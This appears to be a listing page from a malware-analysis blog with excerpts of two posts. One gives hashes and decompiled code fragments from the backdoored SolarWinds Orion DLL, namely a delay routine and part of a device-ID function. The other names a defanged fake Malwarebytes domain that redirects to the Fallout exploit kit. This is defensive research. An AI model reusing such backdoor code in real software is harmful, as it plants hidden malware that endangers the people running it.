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Solarwinds DLL Quick Overview

By   /  January 10, 2021  /  Malware and Behavior Analysis  /  Comments Off on Solarwinds DLL Quick Overview

Hash and certificate stamp: Filename: solarwinds.orion.core.businesslayer.dll MD5:            846E27A652A5E1BFBD0DDD38A16DC865 sha1:              D130BD75645C2433F88AC03E73395FBA172EF676 sha256:            CE77D116A074DAB7A22A0FD4F2C1AB475F16EEC42E1DED3C0B0AA8211FE858D6 imphash:           DAE02F32A21E03CE65412F6E56942DAA description:       SolarWinds.Orion.Core.BusinessLayer file-type:         dynamic-link-library certificate-stamp:0xB9480000 (Tue Jan 21 01:00:00 2020) Code Analysis: Part One: // SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer // Token: 0x06000057 RID: 87 RVA: 0x00004F8C File Offset: 0x0000318C private static void DelayMs(double minMs, double maxMs) {     if ((int)maxMs == 0)     {         minMs = 1000.0;         maxMs = 2000.0;     }     double num;     for (num = minMs + new Random().NextDouble() * (maxMs – minMs); num >= 2147483647.0; num -= 2147483647.0)     {         Thread.Sleep(int.MaxValue);     }     Thread.Sleep((int)num); NOTE:  sleeps for 24 days Part Two: // SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer // Token: 0x06000055 RID: 85 RVA: 0x00004E14 File Offset: 0x00003014 private static bool GetOrCreateUserID(out byte[] hash64) {     string text = OrionImprovementBusinessLayer.ReadDeviceInfo();     hash64 = new byte[8];     Array.Clear(hash64, 0, hash64.Length);     if (text == null) […]

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Fake Malwarebytes Site

By   /  April 8, 2020  /  Malware and Behavior Analysis  /  Comments Off on Fake Malwarebytes Site

Recently we came across a fake Malwarebytes site that looked amazing. The site is http://www.malwarebytes-free[.]com/ The below screenshot shows the fake site which as of 4/8/2020 is still live.   There is a JavaScript here that redirects the user to a malicious URL that hosts the Fallout Exploit Kit   Below is the malicious code […]

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